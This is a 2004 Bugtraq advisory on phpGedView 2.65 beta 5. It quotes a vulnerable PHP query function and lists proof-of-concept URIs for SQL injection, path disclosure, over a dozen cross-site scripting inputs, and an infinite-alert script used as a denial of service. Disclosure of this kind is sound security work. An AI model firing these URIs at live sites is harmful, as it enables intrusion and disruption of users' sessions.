More phpGedView Vulnerabilities
From: JeiAr (security_at_gulftech.org)
Date: 01/12/04
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Date: 12 Jan 2004 22:54:04 -0000 To: bugtraq@securityfocus.com('binary' encoding is not supported, stored as-is)
Vendor : phpGedView
URL : http://phpgedview.sourceforge.net
Version : 2.65 beta 5 > All Versions(??)
Risk : Multiple Vulnerabilities
Description:
The phpGedView project parses GEDCOM 5.5 genealogy files and displays them on the
Internet in a format similar to PAF. All it requires to run is a php enabled web
server and a gedcom file. It is easily customizable for use on many different web
sites. It is one of the top 10 most popular projects at SourceForge.
SQL Injection Vulnerability:
phpGedView has a few files which are vulnerable to SQL injection. The vulnerable
files are "timeline.php" and "placelist.php" The vulnerabilities are a result of
input not being properly validated. The data given to these scripts are then executed
by the "functions_mysql.php" file. As we can see below the $parent_id variable as
well as the $level variable is passed directly into the query without being
sanitized by the script at all in the "get_place_list()" function.
-----[ Begin Code ] -----------------------------------------------------------------
//-- find all of the places
function get_place_list() {
global $numfound, $j, $level, $parent, $found;
global $GEDCOM, $TBLPREFIX, $placelist, $positions;
// --- find all of the place in the file
if ($level==0) $sql = "SELECT p_place FROM ".$TBLPREFIX."places WHERE p_level=0
AND p_file='$GEDCOM' ORDER BY p_place";
else {
$psql = "SELECT p_id FROM ".$TBLPREFIX."places WHERE p_level=".($level-1)
." AND p_place LIKE '".$parent[$level-1]."' AND p_file='$GEDCOM' ORDER BY
p_place";
$res = dbquery($psql);
$row = mysql_fetch_row($res);
$parent_id = $row[0];
$sql = "SELECT p_place FROM ".$TBLPREFIX."places WHERE p_level=$level AND
p_parent_id=$parent_id AND p_file='$GEDCOM' ORDER BY p_place";
}
$res = dbquery($sql);
while ($row = mysql_fetch_row($res)) {
$placelist[] = stripslashes($row[0]);
$numfound++;
}
}
-------------------------------------------------------------------------------------
Below are some URI's which can be used to exploit the issue explained in the paragraph
above. Also included is a URI that triggers a somewhat similar SQL vulnerability in the
"timeline.php" script.
/placelist.php?level=1[Evil_Query]
/placelist.php?level=1&parent[0]=[Evil_Query]
/placelist.php?level=2&parent[0]=&parent[1]=[Evil_Query]
/timeline.php?pids=[Evil_Query]
Path Disclosure Vulnerability:
There are a decent number of ways an attacker could disclose the full path of the web
server, thus aiding in the information gathering process preceding an attack. Below are
a list of the vulnerable scripts and proof of concept URI's to reproduce the condition.
/indilist.php?alpha=\&surname_sublist=\
/famlist.php?alpha=(&surname_sublist=yes&surname=\
/placelist.php?level=1&parent[Blah]=
/imageview.php?zoomval=blah
/imageview.php?filename=/
/timeline.php?pids[Blah]=
/clippings.php?action=add&id=Blah
/login.php?action=login
/login.php?&changelanguage=yes&NEWLANGUAGE=Blah
/gdbi.php?action=connect&username=Blah
Cross Site Scripting:
I have found over a dozen instances of Cross Site Scripting in phpGedView, but there is
probably more. The impact of these vulnerabilities are self explanatory; they allow code
execution in the context of the browser of someone viewing the malicious URI. Below are
examples of the numerous XSS vulns.
/descendancy.php?pid=<iframe>
/index.php?rootid="><iframe>
/individual.php?pid="><iframe>
/login.php?url=/index.php?GEDCOM="><iframe>
/relationship.php?path_to_find="><iframe>
/relationship.php?path_to_find=0&pid1="><iframe>
/relationship.php?path_to_find=0&pid1=&pid2="><iframe>
/source.php?sid=<iframe>
/imageview.php?filename=<iframe>
/calendar.php?action=today&day=1&month=jan&year="><iframe>
/calendar.php?action=today&day=1&month=<iframe>
/calendar.php?action=today&day=<iframe>
/gedrecord.php?pid=<iframe>
/login.php?action=login&username="><iframe>
/login.php?&changelanguage=yes&NEWLANGUAGE=<iframe>
/gdbi_interface.php?action=delete&pid=<iframe>
Denial Of Service:
It is also possible for an attacker to launch a DoS of sorts against a user who visits a
certain URI. The vulnerability is in the language variable not being properly validated.
If an attacker sends the following URI to a victim, they will not be able to access the
phpGedView web site until they either clear their cookies, or manually reset the language
settings by typing in a valid URI to reset the language back to something acceptable. The
phpGedView website will not be able to be viewed by the victim until then.
/login.php?&changelanguage=yes&NEWLANGUAGE=[Junk_Here]
Or even one hundred million times more annoying is this :P
/index.php?&changelanguage=yes&NEWLANGUAGE=<script>var i=1; while(i){alert(i);};</script>
As I mentioned before though, it is possible to regain a normal session by manually typing
in a value in the language variable that is acceptable to phpGedView.
Solution:
These vulnerabilities have been addressed in the latest beta release. Users may obtain the
latest beta version at http://sourceforge.net/project/showfiles.php?group_id=55456
Credits:
Credits go to JeiAr of the GulfTech Security Research Team.
http://www.gulftech.org
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